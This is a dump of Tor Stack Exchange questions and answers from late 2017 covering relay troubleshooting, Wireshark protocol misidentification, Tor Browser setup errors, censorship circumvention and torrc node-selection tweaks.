  <row Id="16188" PostTypeId="1" AcceptedAnswerId="16189" CreationDate="2017-11-29T16:56:13.307" Score="0" ViewCount="1638" Body="&lt;p&gt;I have created a private Tor network for testing purposes, as well as to verify the fundamental operation of Onion Routing. I am utilizing Wireshark to capture the data flow between relays across the network, however when I examined these captures more closely I discovered that they utilized RSL / IPA protocols in addition to the TCP protocols I was expecting. Does anyone have any input as to what the purpose of these protocols are? An example of my Wireshark capture containing the RSL / IPA protocols can be seen below - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MBicb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MBicb.png&quot; alt=&quot;Wireshark capture of RSL / IPA protocols while testing Tor network connectivity&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially the RSL packets are more diverse as seen by the highlighted packet in Frame 60, as well as Frames 62, 64, 65, 66, 67, and 69 - however this changes to just &quot;SACCH FILLing&quot;, seen in Frames 71, and 72 throughout the rest of the capture. My initial thoughts are that the SACCH FILLing RSL packets are simply to check and make sure that the relay is still active OR they are improperly displayed packets in Wireshark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network diagram for my private Tor network can be seen below -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lqXWu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lqXWu.png&quot; alt=&quot;Network Diagram of my private Tor network&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20068" LastEditorUserId="20068" LastEditDate="2017-11-29T17:18:51.263" LastActivityDate="2017-11-29T17:18:51.263" Title="Tor Network Protocols" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16189" PostTypeId="2" ParentId="16188" CreationDate="2017-11-29T17:10:07.747" Score="1" Body="&lt;p&gt;Tor doesn't use those protocols. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think Wireshark is just mistakenly assuming traffic to/from port 5000 is RSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://osqa-ask.wireshark.org/questions/9240/data-which-has-been-sent-over-tcpip-has-been-recognized-by-wireshark-as-ipa-protocol?page=1&amp;amp;focusedAnswerId=9256#9256&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://osqa-ask.wireshark.org/questions/9240/data-which-has-been-sent-over-tcpip-has-been-recognized-by-wireshark-as-ipa-protocol?page=1&amp;amp;focusedAnswerId=9256#9256&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-11-29T17:10:07.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16190" PostTypeId="1" CreationDate="2017-11-29T18:13:49.270" Score="0" ViewCount="242" Body="&lt;p&gt;Why FireFox not support Tails verification,anyone with answer?&lt;a href=&quot;https://i.stack.imgur.com/1EFHE.jpghttps://i.stack.imgur.com/1EFHE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1EFHE.jpghttps://i.stack.imgur.com/1EFHE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16154" LastActivityDate="2017-11-29T19:16:15.177" Title="FireFox Tails Verification" Tags="|tails|firefox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16191" PostTypeId="1" AcceptedAnswerId="16541" CreationDate="2017-11-29T19:10:35.893" Score="0" ViewCount="506" Body="&lt;p&gt;I am trying to run a tor relay on Ubuntu from source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Installed stable version (0.3.1.8) (as written in the documentations)&lt;/li&gt;&#xA;&lt;li&gt;Used &quot;apt source&quot; to get the source code&lt;/li&gt;&#xA;&lt;li&gt;Configured and compiled (using &quot;configure&quot; and &quot;make&quot;)&lt;/li&gt;&#xA;&lt;li&gt;I copied the result binary (tor file) to /usr/bin/ so it will be executed as a service&lt;/li&gt;&#xA;&lt;li&gt;I than start tor service&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In problem in the logs that after some time after I get in the log (always (10-20 minutes) after &quot;&lt;code&gt;[notice] Bootstrapped 100%: Done&lt;/code&gt;&quot;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[notice] Interrupt: we have stopped accepting new connections, and&#xA;  will shut down in 30 seconds. Interrupt again to exit now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's the log file (It repeats over and over):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 29 18:44:11.587 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Nov 29 18:44:11.587 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Nov 29 18:44:11.589 [notice] Your ContactInfo config option is not set. Please consider setting it, so we can contact you if your server is misconfigured or something else goes wrong.&#xA;Nov 29 18:44:11.590 [notice] Based on detected system memory, MaxMemInQueues is set to 743 MB. You can override this by setting MaxMemInQueues by hand.&#xA;Nov 29 18:44:11.590 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Nov 29 18:44:11.590 [notice] Opening OR listener on 0.0.0.0:9001&#xA;Nov 29 18:44:11.591 [notice] Opening Directory listener on 0.0.0.0:9030&#xA;Nov 29 18:44:12.000 [notice] Configured to measure directory request statistics, but no GeoIP database found. Please specify a GeoIP database using the GeoIPFile option.&#xA;Nov 29 18:44:12.000 [notice] Your Tor server's identity key fingerprint is '*************'&#xA;Nov 29 18:44:12.000 [notice] Bootstrapped 0%: Starting&#xA;Nov 29 18:44:19.000 [notice] Starting with guard context &quot;default&quot;&#xA;Nov 29 18:44:19.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Nov 29 18:44:19.000 [notice] Opening Socks listener on /var/run/tor/socks&#xA;Nov 29 18:44:19.000 [notice] Opening Control listener on /var/run/tor/control&#xA;Nov 29 18:44:19.000 [notice] Guessed our IP address as ****** (source: ***).&#xA;Nov 29 18:44:19.000 [notice] Self-testing indicates your ORPort is reachable from the outside. Excellent.&#xA;Nov 29 18:44:20.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Nov 29 18:44:20.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Nov 29 18:44:21.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Nov 29 18:44:21.000 [notice] Bootstrapped 100%: Done&#xA;Nov 29 18:44:30.000 [notice] Self-testing indicates your DirPort is reachable from the outside. Excellent. Publishing server descriptor.&#xA;Nov 29 18:44:32.000 [notice] Performing bandwidth self-test...done.&#xA;Nov 29 18:49:11.000 [notice] Interrupt: we have stopped accepting new connections, and will shut down in 30 seconds. Interrupt again to exit now.&#xA;Nov 29 18:49:41.000 [notice] Clean shutdown finished. Exiting.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My torrc contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file /var/log/tor/notices.log&#xA;DataDirectory /var/lib/tor&#xA;ORPort 9001&#xA;Nickname *****&#xA;DirPort 9030&#xA;ExitPolicy reject *:* # for now...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been trying to solve this for quite some time, can anyone help me with that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also point out that on &quot;my&quot; machine it worked great, when I place it on the machine that I actually want to make it a relay (machine that will stay on all the time), it does this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just to point out, I installed stable tor, downloaded the stable version sources, compiled and replaced the binary, that's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="19551" LastEditorUserId="19551" LastEditDate="2017-11-30T04:38:12.397" LastActivityDate="2018-01-25T14:45:24.087" Title="Tor relay - Interrupt: we have stopped accepting new connections, and will shut down in 30 seconds. Interrupt again to exit now" Tags="|relays|ubuntu|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16192" PostTypeId="2" ParentId="16190" CreationDate="2017-11-29T19:16:15.177" Score="1" Body="&lt;p&gt;I believe you are hitting this known bug: &lt;a href=&quot;https://labs.riseup.net/code/issues/12328&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://labs.riseup.net/code/issues/12328&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox 57 no longer runs the type of &quot;legacy extension&quot; that Tails Download and Verify is. (Can it be overridden with a flag somehow, or has that time come and gone?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, your image link is messed up. It should be &lt;a href=&quot;https://i.stack.imgur.com/1EFHE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/1EFHE.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-11-29T19:16:15.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16193" PostTypeId="1" CreationDate="2017-11-29T21:02:42.813" Score="0" ViewCount="259" Body="&lt;p&gt;I understand how Tor works e.g encrypting your data to not let anyone trace you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what thing that always puzzled me a bit is Tor ability to access websites that are blocked by proxies/firewall/else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can Tor do that when it is only supposed to anonymize your connection with the end receiver server?&lt;/p&gt;&#xA;" OwnerUserId="10240" LastActivityDate="2017-11-30T01:39:22.677" Title="How can Tor bypasses proxies and go to forbidden websites?" Tags="|tor-browser-bundle|proxy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16194" PostTypeId="2" ParentId="16193" CreationDate="2017-11-29T23:08:08.233" Score="1" Body="&lt;p&gt;I'll try to keep it short and easy!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proxy/firewall/IPS/whatever you have that is preventing you to reach some part of Internet has its configuration.&#xA;If it is not too aggressive (Usually a proxy behave just like &quot;Everything allowed except...&quot; or &quot;Nothing allowed except...&quot;) you will have the chance to connect to tor through an enter node or a bridge using encrypted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the encryption, you can probably fool the IPS and the firewall, while because of the request is made of &quot;layers&quot;, what the proxy thinks is that your request is for the enter node/bridge and not for the site!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This in short is why you can exit most of the times: the proxy should (in a &quot;Everything except...&quot; environment) have the black list updated very often, while it usually isn't for that kind of stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know not everything I wrote is accurate, but it can't be accurate and simplified at the same time!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it is clear enough [:&lt;/p&gt;&#xA;" OwnerDisplayName="user20076" LastActivityDate="2017-11-29T23:08:08.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16195" PostTypeId="2" ParentId="13254" CreationDate="2017-11-29T23:49:54.507" Score="-1" Body="&lt;p&gt;I added these lines at the end of my &lt;code&gt;torrc&lt;/code&gt; file.  On Macs this is found at &lt;code&gt;..Library/Application Support/TorBrowser/Tor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I am based in the US, it specifies 10 really fast entry and exit servers, and requires that the middle relay server be based in the US as well. (US is the only country not excluded)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has sped up Tor 4x or more for me, much more usable now.  Maybe a bit less anonymous, but should be anonymous enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can alter the middle relay country based on your location, and use &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.torproject.org/&lt;/a&gt; and the ping command in terminal to find entry/exit servers that are fast for you.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;code&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes 216.218.222.14, 65.19.167.130, 65.19.167.130, 65.19.167.131, 65.19.167.132, 65.19.167.133, 65.19.167.134, 216.218.134.12, 216.218.222.10, 216.218.222.12, 216.218.222.14&#xA;&#xA;ExitNodes 216.218.222.14, 65.19.167.130, 65.19.167.130, 65.19.167.131, 65.19.167.132, 65.19.167.133, 65.19.167.134, 216.218.134.12, 216.218.222.10, 216.218.222.12, 216.218.222.14&#xA;&#xA;ExcludeNodes {AD},{AE},{AF},{AG},{AI},{AL},{AM},{AO},{AQ},{AR},{AS},{AT},{AU},{AW},{AX},{AZ},{BA},{BB},{BD},{BE},{BF},{BG},{BH},{BI},{BJ},{BL},{BM},{BN},{BO},{BQ},{BR},{BS},{BT},{BV},{BW},{BY},{BZ},{CA},{CC},{CD},{CF},{CG},{CH},{CI},{CK},{CL},{CM},{CN},{CO},{CR},{CU},{CV},{CW},{CX},{CY},{CZ},{DE},{DJ},{DK},{DM},{DO},{DZ},{EC},{EE},{EG},{EH},{ER},{ES},{ET},{FI},{FJ},{FK},{FM},{FO},{FR},{GA},{GB},{GD},{GE},{GF},{GG},{GH},{GI},{GL},{GM},{GN},{GP},{GQ},{GR},{GS},{GT},{GU},{GW},{GY},{HK},{HM},{HN},{HR},{HT},{HU},{ID},{IE},{IL},{IM},{IN},{IO},{IQ},{IR},{IS},{IT},{JE},{JM},{JO},{JP},{KE},{KG},{KH},{KI},{KM},{KN},{KP},{KR},{KW},{KY},{KZ},{LA},{LB},{LC},{LI},{LK},{LR},{LS},{LT},{LU},{LV},{LY},{MA},{MC},{MD},{ME},{MF},{MG},{MH},{MK},{ML},{MM},{MN},{MO},{MP},{MQ},{MR},{MS},{MT},{MU},{MV},{MW},{MX},{MY},{MZ},{NA},{NC},{NE},{NF},{NG},{NI},{NL},{NO},{NP},{NR},{NU},{NZ},{OM},{PA},{PE},{PF},{PG},{PH},{PK},{PL},{PM},{PN},{PR},{PS},{PT},{PW},{PY},{QA},{RE},{RO},{RS},{RU},{RW},{SA},{SB},{SC},{SD},{SE},{SG},{SH},{SI},{SJ},{SK},{SL},{SM},{SN},{SO},{SR},{SS},{ST},{SV},{SX},{SY},{SZ},{TC},{TD},{TF},{TG},{TH},{TJ},{TK},{TL},{TM},{TN},{TO},{TR},{TT},{TV},{TW},{TZ},{UA},{UG},{UM},{UY},{UZ},{VA},{VC},{VE},{VG},{VI},{VN},{VU},{WF},{WS},{YE},{YT},{ZA},{ZM},{ZW}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20078" LastEditorUserId="71" LastEditDate="2017-12-17T21:31:35.893" LastActivityDate="2017-12-17T21:31:35.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16197" PostTypeId="2" ParentId="16193" CreationDate="2017-11-30T01:39:22.677" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, what thing that always puzzled me a bit is Tor ability to access websites that are blocked by proxies/firewall/else.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Simply put, due to the nature of Tor, you connect to the censored website through an Exit relay that is outside of the local (censored) network, with some other internet connection that (hopefully) isn't censored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This bypasses locally applied censorship.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-30T01:39:22.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16201" PostTypeId="1" CreationDate="2017-12-01T02:55:50.967" Score="0" ViewCount="704" Body="&lt;p&gt;I'm asking this out of curiosity rather than practicality: If I install TOR on my Windows machine, how do I use it securely without exposing my identity? Also, what if my machine has already contacted other websites and servers prior to the usage of TOR? Would that have any effect on my anonymity? &lt;/p&gt;&#xA;" OwnerUserId="20106" LastActivityDate="2018-09-28T00:00:43.053" Title="How do I use TOR on a Windows computer securely?" Tags="|security|windows|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16202" PostTypeId="1" CreationDate="2017-12-01T03:02:11.630" Score="0" ViewCount="564" Body="&lt;p&gt;First time using and installing Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I click on &quot;Connect&quot; and &quot;Remove Definitions and Connect&quot;.. and it give me the message: &quot;Impossible to save the Tor Configurations&quot;..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The log is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;30/11/17 23:59:43.900 [NOTICE] You configured a non-loopback address '192.168.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;30/11/17 23:59:43.900 [NOTICE] You configured a non-loopback address '192.168.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;30/11/17 23:59:43.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;30/11/17 23:59:43.900 [NOTICE] Switching to guard context &quot;default&quot; (was using &quot;bridges&quot;) &#xA;30/11/17 23:59:43.900 [NOTICE] You configured a non-loopback address '192.168.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;30/11/17 23:59:43.900 [NOTICE] You configured a non-loopback address '192.168.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;30/11/17 23:59:43.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;30/11/17 23:59:43.900 [NOTICE] You configured a non-loopback address '192.168.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;30/11/17 23:59:43.900 [NOTICE] You configured a non-loopback address '192.168.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;30/11/17 23:59:43.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;30/11/17 23:59:44.000 [NOTICE] You configured a non-loopback address '192.168.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;30/11/17 23:59:44.000 [NOTICE] You configured a non-loopback address '192.168.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;30/11/17 23:59:44.000 [NOTICE] Opening Socks listener on 192.168.0.1:9150 &#xA;30/11/17 23:59:44.000 [WARN] Could not bind to 192.168.0.1:9150: Can't assign requested address &#xA;30/11/17 23:59:44.000 [WARN] Controller gave us config lines that didn't validate: Failed to bind one of the listener ports. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I m using Mac OS High Sierrra.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="20108" LastActivityDate="2022-04-10T12:04:10.650" Title="Problems With Toc/Mac" Tags="|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16203" PostTypeId="1" CreationDate="2017-12-01T10:28:24.740" Score="2" ViewCount="2248" Body="&lt;p&gt;I like not having to &quot;Right Click File -&gt; Save As...&quot; images and files and instead usually drag them from the browser page to my desktop. Does this mean I am circumventing Tor security / anonymity or does that save go through Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sandy&lt;/p&gt;&#xA;" OwnerUserId="20119" LastActivityDate="2017-12-01T12:55:14.640" Title="Does dragging webpage image/file from Tor browser bundle to desktop reveal IP?" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16204" PostTypeId="2" ParentId="16203" CreationDate="2017-12-01T12:55:14.640" Score="2" Body="&lt;p&gt;The download still goes through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that many of the warnings regarding downloading files with Tor and opening them in another program are associated with what that program will do. For example, if you download an mp3 file through Tor and open it in a music player, will it fetch metadata like song title, artist, etc. from the Internet without Tor? Can that somehow be linked back to you? What if you download an image that is somehow crafted to exploit a vulnerability in the popular image viewer you use?&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-12-01T12:55:14.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16205" PostTypeId="2" ParentId="16201" CreationDate="2017-12-01T13:12:36.347" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I install TOR on my Windows machine, how do I use it securely without exposing my identity? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These are very broad questions and impossible to answer specifically for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you worried about Windows/Microsoft doing something bad? Well you need to convince yourself that they can't do something bad or they won't do something about &lt;strong&gt;to you&lt;/strong&gt;. If you can't, then maybe you shouldn't be using Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you worried about network-level adversaries correlating your traffic as it enters the Tor network with when it exits the Tor network? You'll have that issue on every OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you worried that the websites you visit will serve you an exploit and deanonymize you? Tor Browser already takes extensive steps to limit how well they can fingerprint you. When really good fingerprinting vectors have been found, they have been patched quickly. Historically, when big adversaries have an exploit and they use it to deanonymize some Tor Browser users, they used it on high profile people or people doing Really Bad Things. This is most likely because these exploits are rare (thus valuable) and using them to deanonymize all the boring everyday Tor Browser users would be wasteful since it would likely get detected and fixed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in short, I don't think you or any other average Joe out there needs to worry when using Tor Browser on Windows. Most likely, the biggest threat to you will be yourself and your own behavior. &lt;a href=&quot;https://www.torproject.org/download/download-easy.html#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download-easy.html#warning&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, what if my machine has already contacted other websites and servers prior to the usage of TOR? Would that have any effect on my anonymity?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably not? It's impossible to say with the amount of detail you've given. What websites? Did you log in to them? Will you visit them with Tor Browser too? Will you log in with Tor Browser? Do you care if the website knows it is you but doesn't know where you currently are? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, again, probably not anything to worry about here. &lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-12-01T13:12:36.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16206" PostTypeId="2" ParentId="16202" CreationDate="2017-12-01T13:27:45.973" Score="0" Body="&lt;p&gt;Is this Tor Browesr? I'm assuming this is Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea why Tor Browser is trying to open its SocksPort on 192.168.0.1 instead of 127.0.0.1? Did you change its settings or its torrc? Does your computer not have a loopback interface with 127.0.0.0/8 available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;192.168.0.1 looks a lot like the IP address of a home router. Are you sure your computer has that as a local IP address? If this is the IP of your home router, why is it appearing in your Tor logs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key log line is &lt;code&gt;[WARN] Could not bind to 192.168.0.1:9150: Can't assign requested address&lt;/code&gt;. For some reason Tor Browser thinks it should open its SocksPort on that IP address and port, but I do not think your computer has that IP address.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I click on &quot;Connect&quot; and &quot;Remove Definitions and Connect&quot;.. and it give me the message: &quot;Impossible to save the Tor Configurations&quot;..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is very unusual. Where are you seeing this? Did you change Tor Browser's settings before this point? Did you ever try changing the permissions or ownership of its files? (don't!) Did you try running it as root? (dont't!) Where did you get Tor Browser? How did you install it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to fix this by uninstalling Tor Browser and installing it again ...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;To uninstall Tor Browser, open your applications folder and drag Tor Browser into the trash.&lt;/li&gt;&#xA;&lt;li&gt;Delete the folder &lt;code&gt;~/Library/Application Support/TorBrowser-Data&lt;/code&gt; (The &lt;code&gt;~&lt;/code&gt; means its in your home folder)&lt;/li&gt;&#xA;&lt;li&gt;Download Tor Browser from &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torproject.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mount the download .dmg image file&lt;/li&gt;&#xA;&lt;li&gt;In the window that opens, drag the Tor Browser icon into the applications folder &lt;em&gt;in that window&lt;/em&gt;. Do not simply double click on the Tor Browser icon. After it copies into the applications folder, close the window. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2017-12-01T13:27:45.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16208" PostTypeId="2" ParentId="15435" CreationDate="2017-12-01T23:19:50.557" Score="0" Body="&lt;p&gt;What prevents you having a second circuit that shares entry node but not exit and adds noise by inflating entry node hroughput.  Can the entry node see individual packets?  I assume not ... just aggregate bandwidth and timing.  Noise generation would destroy size correlation and blur timing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all thats left are longer term timing attacks at the session timescale.  Being a helper node may assist with that ... with your noise generator filling in any long silences you can effectively concatenate discrete sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not strictly bandwidth friendly, but if the alternative is torture... y'know : )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we could use is the ability to ask middle nodes to randomly hold or buffer both requests and responses.  Perhaps even adding overhead with varilength 'null packets' ... and absorbing nulls sent by the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Send in 10 13 11 ... and 2 mins later a request of size 34 is released.  A response comes back as size 2000 and is forwarded 201 459 134 etc... mixed with a few nulls and the correlation blur is significant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if an HS could be useful for timing, padding and deferral.  Essentially making a tor-to-tor supercircuit with user selectable jitter and latency... for those who would trade immediacy for correlation protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just some thoughts ... don't shoot!&lt;/p&gt;&#xA;" OwnerUserId="20143" LastActivityDate="2017-12-01T23:19:50.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16211" PostTypeId="1" CreationDate="2017-12-02T05:57:29.687" Score="1" ViewCount="398" Body="&lt;p&gt;I am trying to use Tor to access videos with region restriction. When i use the ExitNodes and set the country, the browser and other sites like DNS leak test can see the new ip, but youtube still says the video is not available. Please help, thanks.&lt;/p&gt;&#xA;" OwnerUserId="20151" LastActivityDate="2018-09-11T12:01:31.350" Title="Bypassing Youtube region restrictions" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16213" PostTypeId="1" CreationDate="2017-12-02T13:11:38.463" Score="0" ViewCount="3558" Body="&lt;p&gt;i need to access a country specific website.&#xA;i am outside the secific country using  orbot and orfox on an android 1 device.&#xA;Can a community member pls advise on a potential  relay or bridge  process that i must follow to allow me access to the site  using orbot/orfox from outside the websites country of origin?&#xA;would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="20159" LastActivityDate="2017-12-02T19:58:10.590" Title="how do i set orfox to id its IP in a specific country?" Tags="|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16215" PostTypeId="2" ParentId="16213" CreationDate="2017-12-02T19:58:10.590" Score="2" Body="&lt;p&gt;This would be using &lt;em&gt;Orbot&lt;/em&gt; not &lt;em&gt;Orfox&lt;/em&gt;, Orfox is the browser and Orbot provides the Tor client and allows configuration of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Orbot, swipe in from the left of the screen. This should give you a pull out menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should have &quot;Apps VPN Mode&quot; &quot;Bridges&quot; and below that a pulldown list, by default set as &quot;World (Location)&quot;. Use the pulldown list to select your desired location to Exit from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should be all you need to do but you might want to Stop and Start Orbot just to be sure (I find sometimes it needs this to change bridge configuration).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-02T19:58:10.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
